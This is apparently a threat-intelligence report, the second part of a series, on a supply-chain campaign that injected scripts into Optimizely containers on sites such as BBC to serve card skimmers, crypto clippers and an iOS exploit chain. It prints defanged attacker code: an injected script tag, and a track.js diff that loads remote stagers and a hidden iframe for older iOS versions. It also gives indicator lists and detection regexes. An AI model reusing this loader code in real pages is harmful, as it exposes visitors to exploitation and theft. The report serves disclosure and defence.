Beyond Optimizely: The Precursor Fleet, the Webshell Bridge, and the Live Dropper Swap
Series: Multi-SaaS Supply Chain Investigation (Part 2)
Executive Summary: Proving the Broader Syndicate Campaign
The public narrative around the November 2026 supply chain attack focused almost exclusively on the tampering of Optimizely CDN script tags. Our initial research proved that this incursion was broader: a coordinated multi-SaaS convergence attack abusing Optimizely, StorifyMe, and Minute Media to deliver payment skimmers and an iOS WebKit exploit chain. New passive telemetry reveals an even deeper reality: this operation began long before Optimizely tags were modified, and relied on a far wider infrastructure footprint than previously understood. Four key forensic findings reconstruct the campaign:
- The Precursor Staging Fleet: Weeks prior to the SaaS supply chain injections, the actors compromised dozens of independent web servers running CyberPanel and LiteSpeed across Europe and Asia, establishing a distributed injection mesh routed through
hxxps://webshell[.]lol/get.js. - Real-Time Dropper Hot-Swap on BBC: Public URLScan captures of
bbc.comon November 16, 2026, capture the threat actors swapping their delivery payload inside Optimizely production containers in real time: shifting from a lightweightwebshell[.]lolcanary stager in the morning to the monolithic1688360[.]cc/track.jspayload by evening. - Exploit Delivery Acceleration: Source code extracted from updated
track.jsdeployments reveals client-side iOS version parsing (iv <= 18.6), dual-stager.icufailover (boot.js), and parallel injection of a Coruna-associated exploit iframe (/JIUJIU888/weifile.html) alongside the Hermes / DarkSword delivery chain. - Resilient Multi-Tier Infrastructure: The syndicate maintains an enterprise-grade delivery backbone: 24 dedicated
.icumobile exploit staging domains, Google Cloud staging servers (34.96.213[.]201), and Cloudflare-shielded canary gateways designed for rapid failover.
+-----------------------------------------------------------------------------------------+
| THE THREE PHASES OF THE CAMPAIGN |
+-----------------------------------------------------------------------------------------+
| Phase 1: Precursor Hosting Injections (CyberPanel / LiteSpeed RCE) |
| Dozens of regional hosting targets injected with webshell[.]lol/get.js |
+-----------------------------------------------------------------------------------------+
|
v
+-----------------------------------------------------------------------------------------+
| Phase 2: SaaS Reconnaissance & Testing (Nov 16 Morning) |
| Optimizely containers (e.g. BBC) initially loaded webshell[.]lol/get.js |
+-----------------------------------------------------------------------------------------+
|
v
+-----------------------------------------------------------------------------------------+
| Phase 3: Monolithic Weaponization (Nov 16 Evening - Present) |
| Payload hot-swapped to 1688360[.]cc/track.js |
| - Luhn Credit Card Skimmer (Desktop) |
| - Multi-Chain Crypto Clipper (Desktop) |
| - Client-side iOS <= 18.6 parsing -> Parallel boot.js + Coruna weifile.html |
+-----------------------------------------------------------------------------------------+
1. The Precursor Campaign: Mass Web Hosting Exploitation
Before deploying to global CDN containers, the operators established an operational baseline by compromising traditional web hosting infrastructure.
Passive telemetry reveals 68 victim domains communicating directly with hxxps://webshell[.]lol/get.js with zero Optimizely, StorifyMe, or Minute Media code in their DOM.
Case Study: Polish Commercial Cluster
A representative cluster includes four commercial Polish entities:
apmd.pl(Medical equipment distribution)cca.pl(Corporate logistics)wifi-marketing.pl(Retail Wi-Fi analytics)bdb-biuro.org.pl(Regional professional services) All four ran standard CMS instances on CyberPanel and LiteSpeed Web Server stacks. In early November 2026, the actors exploited unpatched hosting management vulnerabilities to inject script tags directly into index templates:
<!-- Injected into compromised template headers -->
<script src="https://webshell[.]lol/get.js" async=""></script>
These compromised environments gave the syndicate a live testing sandbox with continuous global traffic to calibrate device fingerprinting, verify proxy routing, and test iOS exploit delivery gates before risking exposure in high-profile SaaS containers.
2. The Universal Bridge: Anatomy of the webshell[.]lol Stager
The domain webshell[.]lol operated as the central pivot between regional web server compromises and the initial SaaS deployment. Rather than embedding bulky obfuscated payloads into compromised templates, the attackers injected a single, lightweight entry point: hxxps://webshell[.]lol/get.js.
Defensive Evasion & Setup
Network inspection shows deliberate operational security controls around webshell[.]lol:
- Edge Proxy Masking: Resolved behind Cloudflare (
104.21.76.45), hiding the origin VPS and defeating IP-level geo-blocking. - Wildcard TLS Coverage: In autumn 2026, the actors provisioned an active wildcard certificate (
*.webshell[.]lol) via Google Trust Services (WE1), guaranteeing seamless TLS handshakes across desktop and mobile browsers without generating tell-tale single-subdomain CT log spikes. - Aged Domain Abuse: Active in SEO spam and defacements since early 2025,
webshell[.]lolbypassed newly registered domain (NRD) reputation filters in enterprise web proxies.
The Canary Gatekeeper Workflow
On November 16, 2026, webshell[.]lol/get.js functioned as an active traffic gate:
- Desktop Cloaking: Desktop user-agents received benign responses, hiding the attack from enterprise security teams inspecting outbound network logs.
- Mobile Gating: iOS requests were fingerprinted and immediately forwarded to the primary exploit stager (
hxxps://5vobauua3ojpklx[.]icu/boot.js). - CDN Propagation Check: The lightweight canary allowed the actors to verify that tampered Optimizely bundles were propagating across global edge caches before deploying their higher-visibility payload.
3. Real-Time Dropper Transition on BBC Telemetry
The most revealing evidence of this operation appears in the Optimizely deployment on the British Broadcasting Corporation (bbc.com and bbc.co.uk). Public URLScan telemetry captured on November 16, 2026, documents the operators replacing their delivery payload inside production BBC CDN containers in real time.
BBC Ingestion Timeline: November 16, 2026 (UTC)
04:21 UTC [Scan 01a1e296] --> bbcx_prod.js loads webshell[.]lol/get.js --> 5vobauua...[.]icu/boot.js
05:05 UTC [Scan 01a1e2be] --> bbcx_prod.js loads webshell[.]lol/get.js --> 5vobauua...[.]icu/boot.js
|
[ ACTOR HOT-SWAP VIA OPTIMIZELY ]
|
19:26 UTC [Scan 01a1e5d2] --> bbcx_prod.js loads 1688360[.]cc/track.js --> Dual Stagers + Skimmer
20:57 UTC [Scan 01a1e626] --> bbcx_prod.js loads 1688360[.]cc/track.js --> boot.js + /JIUJIU888/weifile.html (iOS <= 18.6)
URLScan Transaction Evidence Table
| Scan UUID | Target Page | Timestamp (UTC) | Observed Network Request | Initiator Script | Downstream Staging |
|---|---|---|---|---|---|
| 01a1e296-4d79-7519-9a13-dfdedb34c52d | bbc.co.uk/ |
2026-11-16 04:21 | hxxps://webshell[.]lol/get.js |
bbcx_prod.js |
→ 5vobauua3ojpklx[.]icu/boot.js |
| 01a1e2be-b4bc-7491-a31b-a4e67ecba7b8 | bbc.com/news/... |
2026-11-16 05:05 | hxxps://webshell[.]lol/get.js |
bbcx_prod.js |
→ 5vobauua3ojpklx[.]icu/boot.js |
| 01a1e5d2-bf14-71bd-8e40-d242e53fe4af | bbc.com/news/... |
2026-11-16 19:26 | hxxps://1688360[.]cc/track.js |
bbcx_prod.js |
→ In-memory skimmer + 5vobauua... |
| 01a1e626-0e13-77ef-9227-7101133aabe2 | bbc.com/news/... |
2026-11-16 20:57 | hxxps://1688360[.]cc/track.js |
bbcx_prod.js |
→ Parallel boot.js · /JIUJIU888/weifile.html injection |
The Two-Stage Transition
- Morning Reconnaissance (04:21 - 05:05 UTC):
The tampered Optimizely bundle (
bbcx_prod.js) fetchedhxxps://webshell[.]lol/get.js. Desktop requests were ignored; iOS visitors were silently forwarded tohxxps://5vobauua3ojpklx[.]icu/boot.js. - Evening Weaponization (19:26 - 20:57 UTC):
Between 05:05 and 19:26 UTC, the attackers modified their Optimizely container configuration. Subsequent page loads bypassed
webshell[.]lolentirely and loadedhxxps://1688360[.]cc/track.js- activating the full monetization suite (in-memory Luhn payment skimmer, multi-chain crypto clipper) alongside accelerated iOS WebKit exploitation. - Operational Intent: The morning phase confirmed reliable propagation across BBC edge caches without triggering automated alerts. Once verified across millions of sessions, the actors hot-swapped to their primary revenue-generating payload.
4. Weaponization Evolution: Code Differential in track.js
Source code differential between initial and secondary deployments of track.js reveals three major tactical upgrades in the client execution logic:
--- Baseline track.js (Initial Deployment)
+++ Upgraded track.js (Secondary Deployment)
@@ -527,15 +527,37 @@
try { SC(D, 1); } catch (e) {}
})();
-var u=navigator.userAgent||'',i=/iPhone|iPad|iPod/.test(u)||(/Macintosh/.test(u)&&navigator.maxTouchPoints>1);
+var u=navigator.userAgent||'',im=u.match(/OS (\d+)_(\d+)/),iv=im?parseFloat(im[1]+'.'+im[2]):0,i=/iPhone|iPad|iPod/.test(u)||(/Macintosh/.test(u)&&navigator.maxTouchPoints>1);
if(i){(function () {
const script = document.createElement("script");
script.src = "https://5vobauua3ojpklx[.]icu/boot.js";
script.setAttribute("data-landing", "");
script.setAttribute("data-channel-code", "02111110");
script.setAttribute("data-chain-url", "https://5vobauua3ojpklx[.]icu/");
script.setAttribute("data-cfasync", "false");
document.head.appendChild(script);
-})();}
+})();
+(function () {
+ const script = document.createElement("script");
+
+ script.src = "https://eil786npto9u5bq[.]icu/boot.js";
+ script.setAttribute("data-landing", "");
+ script.setAttribute("data-channel-code", "02111110");
+ script.setAttribute("data-chain-url", "https://eil786npto9u5bq[.]icu/");
+ script.setAttribute("data-cfasync", "false");
document.head.appendChild(script);
})();
+if(iv&&iv<=18.6){
+(function () {
+ function A() {
+ try {
+ if (document.querySelector('iframe[src="https://eil786npto9u5bq[.]icu/JIUJIU888/weifile.html"]')) return;
+ document.body.insertAdjacentHTML('beforeend', '<iframe src="https://eil786npto9u5bq[.]icu/JIUJIU888/weifile.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>');
+ } catch (e) {}
+ }
+ if (document.body) A(); else document.addEventListener('DOMContentLoaded', A);
+})();
+}
+}
Key Architectural Shifts
-
Dual Redundant Exploit Gates: Early deployments relied exclusively on
5vobauua3ojpklx[.]icu. Secondary deployments spawn a parallel fallback stager (hxxps://eil786npto9u5bq[.]icu/boot.js) sharing the same telemetry identifier (data-channel-code="02111110"), providing automated failover if one domain is suspended. -
Client-Side iOS Version Qualification: Instead of offloading device qualification to downstream servers, updated loaders parse
navigator.userAgentdirectly in the browser:im = u.match(/OS (\d+)_(\d+)/), iv = im ? parseFloat(im[1] + '.' + im[2]) : 0 -
Multi-Framework Co-Hosting: Coruna Lineage (
/JIUJIU888/weifile.html): For visitors matching iOS <= 18.6, the script injects a hidden, off-screen zero-pixel iframe:<iframe src="https://eil786npto9u5bq[.]icu/JIUJIU888/weifile.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"> </iframe>Forensic analysis of
/JIUJIU888/weifile.htmlreveals that it loadsindex.js, matching the distinctive URI directory structure (/JIUJIU888/) historically attributed to the Coruna iOS spyware delivery framework rather than DarkSword. This introduces a critical architectural reality regarding the syndicate’s weaponization:- Framework Target Discrepancy: Published vulnerability research establishes that Coruna targets iOS 13 through 17.2.1, whereas DarkSword targets iOS 18.4 through 18.7. As documented by Lookout, iOS versions 18.4 through 18.6.2 are not susceptible to Coruna.
- Coarse Client-Side Gating: The client-side filter
iv <= 18.6extracts only major and minor version numbers without evaluating sub-version patch levels (e.g., differentiating 17.2.1 from 17.3, or 18.4 from 18.6.2). - Hybrid Parallel Exploitation: Rather than fine-tuning exploit selection in the initial loader, the syndicate executes a multi-framework parallel strategy. It injects the legacy Coruna loader (
weifile.html) in parallel with the modern Hermes / DarkSword stagers (boot.js), offloading granular patch-level qualification and exploit branching to downstream execution stages.
5. The Attack Syndicate Infrastructure Backbone
To understand how the attackers executed this operation without being easily shut down, you have to look at how they organized their servers behind the scenes.
When the Optimizely incident first made headlines, it was treated as an attack centered around a single malicious domain: 1688360[.]cc. But behind that single link was an automated, multi-tiered infrastructure network designed to solve two major operational challenges:
- Separating Victims by Device: The attackers did not want to burn their high-value iOS exploits on random desktop computers. They needed their front-door script to quietly inspect each visitor, steal credit cards from desktop users, and selectively route iPhones into their mobile exploit chain.
- Surviving Takedowns: If the entire campaign relied on one domain, a single registrar suspension would kill the operation. To prevent this, the syndicate built an automated machine that pre-staged hundreds of disposable backup domains across cloud infrastructure. When you map out this backend network, it breaks down into three specialized tiers:
- The Front-Door SaaS Node (
1688360[.]cc): The stripped-down delivery server plugged directly into the Optimizely supply chain to delivertrack.js. - The Exploit Core (
.icuFleet): A cluster of hardened gateways hosted on Google Cloud that store the actual iOS WebKit exploit chain (boot.js). - The Auxiliary Reserve (700+ Numeric
.ccDomains): A massive automated fleet of sister domains sharing the exact same deployment templates, running on high-port reverse proxies as pre-staged watering holes.
Syndicate Operational Infrastructure
├── Primary Payload Staging Core:
│ └── 1688360[.]cc (Hosts track.js & card.php exfiltration)
├── Web Exploitation & Universal Canary Bridge:
│ └── webshell[.]lol (Universal routing bridge & stage-1 canary)
├── Mobile Exploit Staging Fleet (.icu Cluster):
│ ├── 24 dedicated staging & delivery domains
│ └── Centralized on Google Cloud infrastructure (34.96.213[.]201, 34.124.226[.]157, 35.241.119[.]20)
├── Auxiliary Staging Nodes:
│ └── 69988[.]sbs
└── The 700+ Sister Auxiliary Fleet Nodes:
└── 27687386[.]cc, 68365331[.]cc, etc.
├── Automated Deployment: Bulk-provisioned Google Cloud AS396982 nodes
└── High Ports (:13007, :13666): Pulls embed.js -> Executes boot.js
Exploitation Segregation & Resilience
The syndicate separates consumer financial theft from high-value mobile exploitation:
- Desktop Financial Theft: Desktop visitors receive the credit card skimmer and crypto clipper directly from
1688360[.]cc/track.js. - Targeted Mobile Exploitation: Qualified iOS visitors (
iv <= 18.6) are routed to a segregated cluster of 24.icustaging nodes hosted on Google Cloud (34.96.213[.]201). - Takedown Resistance: Algorithmically generated
.icudomains isolate the exploit assets (/JIUJIU888/weifile.htmlandboot.js). If a staging domain is sinkholed, secondary nodes take over automatically without requiring code changes to the upstream CDN injection.
Behind the Scenes of Hermes: The 700-Domain Fleet Beyond Optimizely
When incident responders and industry writeups initially analyzed the Optimizely compromise, public attention focused almost exclusively on a single delivery node: 1688360[.]cc. It was widely perceived as an isolated staging server stood up specifically for the SaaS supply chain injection.
However, by pivoting on cryptographic file hashes of the staging payloads across public sandbox telemetry repositories, our investigation uncovered an auxiliary infrastructure cluster operating in lockstep with the primary attack: over 700 programmatically provisioned numeric .cc domains sharing the syndicate’s deployment fingerprints across Google Cloud (AS396982).
While 1688360[.]cc served as the specialized, lean delivery node for track.js, the actor maintains over 700 additional numeric .cc sister domains running on high-port reverse proxies (specifically :13007 and :13666).
The Syndicate's Numeric .cc Fleet (^[0-9]{6,8}\.cc$)
│
├── Specialized SaaS Delivery Node (Optimizely Entry Point):
│ └── 1688360[.]cc -> Serves track.js & card.php -> Direct forward to boot.js
│
└── The 700+ Sister Auxiliary Fleet Nodes:
└── 27687386[.]cc, 68365331[.]cc, etc.
├── Automated Deployment: Bulk-provisioned Google Cloud AS396982 nodes
└── High Ports (:13007, :13666): Pulls embed.js -> Executes boot.js
Automated Staging & Dynamic Exploit Handoff
Rather than registering individual named domains, the syndicate programmatically provisions bulk numeric combinations under the .cc top-level domain (ranging from 5- to 8-digit permutations across campaign waves).
In live sandbox captures, these auxiliary numeric .cc domains operate behind non-standard high ports (:13007 and :13666). When visitors reach these nodes, they dynamically converge with the core Hermes / DarkSword exploit cluster:
- Host Initialization: The numeric
.ccdomain establishes the front-end application container on its designated high port. - Dropper Injection: The page makes an outbound call to the central gateway:
hxxps://6xicduvopkxpyev[.]icu/embed.js?ch=ddcc8759&k=22d09371cfd79a91. - Exploit Delivery:
embed.jsfetcheshxxps://6xicduvopkxpyev[.]icu/boot.js, delivering the XOR-encrypted (d7K9mP2x)DAILIframework to trigger the iOS WebKit exploit chain. (Public sandbox execution waterfalls confirm this exact multi-stage handoff occurring live on high-port auxiliary nodes such as27687386[.]cc:13666and59525997[.]cc:13007).
Defender Guidance: Multi-Signal Threat Detection
A broad perimeter regex matching any numeric .cc host (^[0-9]+\.cc$) is risky in production environments: it generates severe false positives by flagging benign numeric .cc web properties, while simultaneously missing shorter 5-digit permutations observed across related campaign operations.
High-fidelity detection requires multi-signal behavioral correlation:
-
High-Port Reverse Proxy Invariant (Network & Proxy Logs): The syndicate’s auxiliary fleet systematically exposes services on dedicated non-standard high ports (
:13007and:13666). Filtering for 5- to 8-digit numeric.cchosts combined with these specific high ports eliminates general web traffic noise:# High-fidelity regex: Numeric .cc host specifically on syndicate high ports ^https?://([a-zA-Z0-9-]+\.)?[0-9]{5,8}\.cc:(13007|13666)/ -
Downstream Exploit Stager Requests (Web Gateway & Proxy Logs): Outbound network requests originating from numeric
.ccreferrers or unclassified hosts requesting modular.icusecond-stage JavaScript droppers:# Matches outbound requests to syndicate .icu dropper scripts ^https?://[a-z0-9]{15,16}\.icu/(embed|boot)\.js(\?.*)?$ -
Front-End DOM & Router Fingerprints (Content Inspection & Telemetry): The syndicate embeds a standardized Single Page Application (SPA) routing layer across its affiliate and breakout portals. Deep packet inspection, browser telemetry, or response body inspection will surface invariant structural markers:
- DOM Routing Attributes:
data-landing,data-channel-code,data-chain-url - Runtime Configuration Objects:
window.__DAILI_CFG - Gateway Attributes:
data-daili-gate
- DOM Routing Attributes:
6. Comprehensive Threat Indicators (IoCs)
Threat Actor Staging & Exploit Infrastructure (.icu Fleet)
5vobauua3ojpklx[.]icu(iOS WebKit Exploit Stager 1)eil786npto9u5bq[.]icu(iOS Stager 2 / Coruna-linked /JIUJIU888/weifile.html)p55abnw2pnsz0bo[.]icu(Staging Gateway on IP 34.96.213[.]201)6xicduvopkxpyev[.]icu/adm.6xicduvopkxpyev[.]icu96aw7f2aywilqhr[.]icub3c3itvkz6vlxao[.]icucm90fgvbxumxooo[.]icuey5bxihwdcckl66[.]icuf3hbp9skp5xyofi[.]icuhgp4d5nprghhlh3[.]icuhhhpn6o3a0dclep[.]icuhrufvf7xb3ntctm[.]icujzudhnxbmbxpcgk[.]icukddlxxq37qvdp3h[.]icukmzaovwt4nvnrni[.]icuo51x7o7ybwzpvl5[.]icuogjr1g3tybbyqoo[.]icup6xfin87e6shogm[.]icur50vu9dlojcggho[.]icuryf3e5p7rf8slv8[.]icusl6zirn8wu7kggn[.]icuso23nhowskohk67[.]icuxsn3hppndgpvbgf[.]icu
Core Payloads, Canary Bridge & Auxiliary Stagers
1688360[.]cc(Primary Monolithic Payload Stager)webshell[.]lol(Universal Bridge Stager)69988[.]sbs(Auxiliary Stager Domain)8660bbb[.]cc(Fraudulent Financial Portal)my-spend-card[.]cc(Payment Card Harvester)trustwallet-001[.]cc(Crypto Wallet Phishing Node)
Verified Threat Hosting IPs
34.96.213[.]201(Central Exploit Hosting IP - Google Cloud AS396982)34.124.226[.]157(Google Cloud - AS396982)35.241.119[.]20(Google Cloud - AS396982)
Malicious Payload Endpoints
hxxps://webshell[.]lol/get.jshxxps://1688360[.]cc/track.jshxxps://5vobauua3ojpklx[.]icu/boot.jshxxps://eil786npto9u5bq[.]icu/boot.jshxxps://eil786npto9u5bq[.]icu/JIUJIU888/weifile.htmlhxxps://1688360[.]cc/card.php
Multi-Signal Threat Hunting & Detection Patterns
1. High-Port Numeric Host Invariant (Network / Proxy / SIEM)
- Regex Pattern:
^https?://([a-zA-Z0-9-]+\.)?[0-9]{5,8}\.cc:(13007|13666)/ - Signal: Identifies 5- to 8-digit numeric
.ccfleet domains operating on the syndicate’s standardized reverse-proxy ports (:13007,:13666).
2. Downstream Exploit Stager Invariant (Proxy / Web Gateway)
- Regex Pattern:
^https?://[a-z0-9]{15,16}\.icu/(embed|boot)\.js(\?.*)?$ - Signal: Detects outbound network traffic fetching the syndicate’s modular
.icustagers (embed.jsorboot.js).
3. Front-End DOM & Router Fingerprints (Content Inspection / Telemetry)
- DOM Tag Attributes:
data-landing,data-channel-code,data-chain-url,data-daili-gate - JavaScript Global Config:
window.__DAILI_CFG - Signal: Standardized affiliate container and routing markers embedded across the syndicate’s front-end application nodes.
Active Threat Delivery & Auxiliary Fleet (705 Numeric .cc Domains)
Public incident disclosures associated the syndicate with a single delivery node (1688360[.]cc). In-depth infrastructure analysis confirms that the actor maintains an auxiliary fleet of over 700 numeric .cc domains sharing the syndicate’s standardized deployment template, mobile breakout logic (open-in-browser.js), and high-port routing (:13007, :13666) connecting to 6xicduvopkxpyev[.]icu:
Representative Invariant Domains (Confirmed Exploit Handoff & High Ports):
68365331[.]cc(Operating on high port:13007)55331368[.]cc(Operating on high port:13007)27687386[.]cc(Operating on high port:13666- confirmed live handoff toembed.jsandboot.js)59525997[.]cc(Operating on high port:13007- confirmed live handoff toembed.jsandboot.js)88657188[.]cc(Operating on high port:13666)
All 705 Verified Numeric .cc Auxiliary Fleet Domains
The following 705 numeric .cc domains represent the syndicate’s auxiliary mobile breakout and staging fleet, mapped across public sandbox telemetry sharing the actor’s standardized deployment artifacts and high-port routing connecting to 6xicduvopkxpyev[.]icu:
Click to View All 705 Verified Numeric .cc Auxiliary Fleet Domains
0230190[.]cc
02468252[.]cc
025879[.]cc
03780553[.]cc
04174157[.]cc
0462182[.]cc
053187[.]cc
0632590[.]cc
1037105[.]cc
1226357[.]cc
12932887[.]cc
14673236[.]cc
1508584[.]cc
1514114[.]cc
15332116[.]cc
1542385[.]cc
1557454[.]cc
1575823[.]cc
1578335[.]cc
1581775[.]cc
1584878[.]cc
1595188[.]cc
16362732[.]cc
1636653[.]cc
1646272[.]cc
1657885[.]cc
1662998[.]cc
16663528[.]cc
1677323[.]cc
1688360[.]cc
16921535[.]cc
17128877[.]cc
17273825[.]cc
17325222[.]cc
1747864[.]cc
17532772[.]cc
17612286[.]cc
17663275[.]cc
1787889[.]cc
1797825[.]cc
1814782[.]cc
1825832[.]cc
18397898[.]cc
1848523[.]cc
1858323[.]cc
1861783[.]cc
1862788[.]cc
1864883[.]cc
1875184[.]cc
18765923[.]cc
18865732[.]cc
2047967[.]cc
2115570[.]cc
2143025[.]cc
21879976[.]cc
22136755[.]cc
22373172[.]cc
22386263[.]cc
2252788[.]cc
2253368[.]cc
2258832[.]cc
2265538[.]cc
2278488[.]cc
2278782[.]cc
2284778[.]cc
2288348[.]cc
2294884[.]cc
2298782[.]cc
23161632[.]cc
23335685[.]cc
23432864[.]cc
2345885[.]cc
2353974[.]cc
2358828[.]cc
2368388[.]cc
23776572[.]cc
2384784[.]cc
2427848[.]cc
2438838[.]cc
2447848[.]cc
2457858[.]cc
2458488[.]cc
2475868[.]cc
2477848[.]cc
2478548[.]cc
2478838[.]cc
2484788[.]cc
2488358[.]cc
2488582[.]cc
2523533[.]cc
2527878[.]cc
2547848[.]cc
2548488[.]cc
2558488[.]cc
25589633[.]cc
2569947[.]cc
2578488[.]cc
2584888[.]cc
2638848[.]cc
2648848[.]cc
26535732[.]cc
2658848[.]cc
2684888[.]cc
26853832[.]cc
26876783[.]cc
2688488[.]cc
26998233[.]cc
27277295[.]cc
2748848[.]cc
27665773[.]cc
27687386[.]cc
27738789[.]cc
2778488[.]cc
2784888[.]cc
2829854[.]cc
28447322[.]cc
2848848[.]cc
2876646[.]cc
28899383[.]cc
2948848[.]cc
29734847[.]cc
29792587[.]cc
29829158[.]cc
29878355[.]cc
31681292[.]cc
32262867[.]cc
3248848[.]cc
3284888[.]cc
33268717[.]cc
33335885[.]cc
33429556[.]cc
3348848[.]cc
33632981[.]cc
33638755[.]cc
33686793[.]cc
33744558[.]cc
33825721[.]cc
3447798[.]cc
34588255[.]cc
3465745[.]cc
34765848[.]cc
34787376[.]cc
3487451[.]cc
3496278[.]cc
3499835[.]cc
3527626[.]cc
3548848[.]cc
35874826[.]cc
35934967[.]cc
3601688[.]cc
36338566[.]cc
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Impacted Organizations Reference
For the comprehensive inventory of 142 enterprise, SaaS, and media properties confirmed impacted during the campaign, refer to the master victim ledger published in Part 1: The Multi-SaaS Supply Chain Blitz.
7. Strategic Conclusions
The precursor hosting fleet and the real-time BBC payload swap establish three critical realities:
- Beyond a Single Vendor Incident: The attack was not an isolated Optimizely compromise, but a coordinated, multi-phased operation bridging mass web server exploitation with SaaS supply chain abuse.
- Disciplined Staging: The operators operated with high tactical discipline, deploying canary probes (
webshell.lol) to confirm global CDN propagation before exposing high-visibility skimmers and mobile exploit assets. - Converged Threats: The campaign merges commoditized financial theft (card skimmers, crypto clippers) with high-tier surveillance capabilities (DarkSword / Hermes iOS WebKit exploit chain targeting devices on iOS <= 18.6).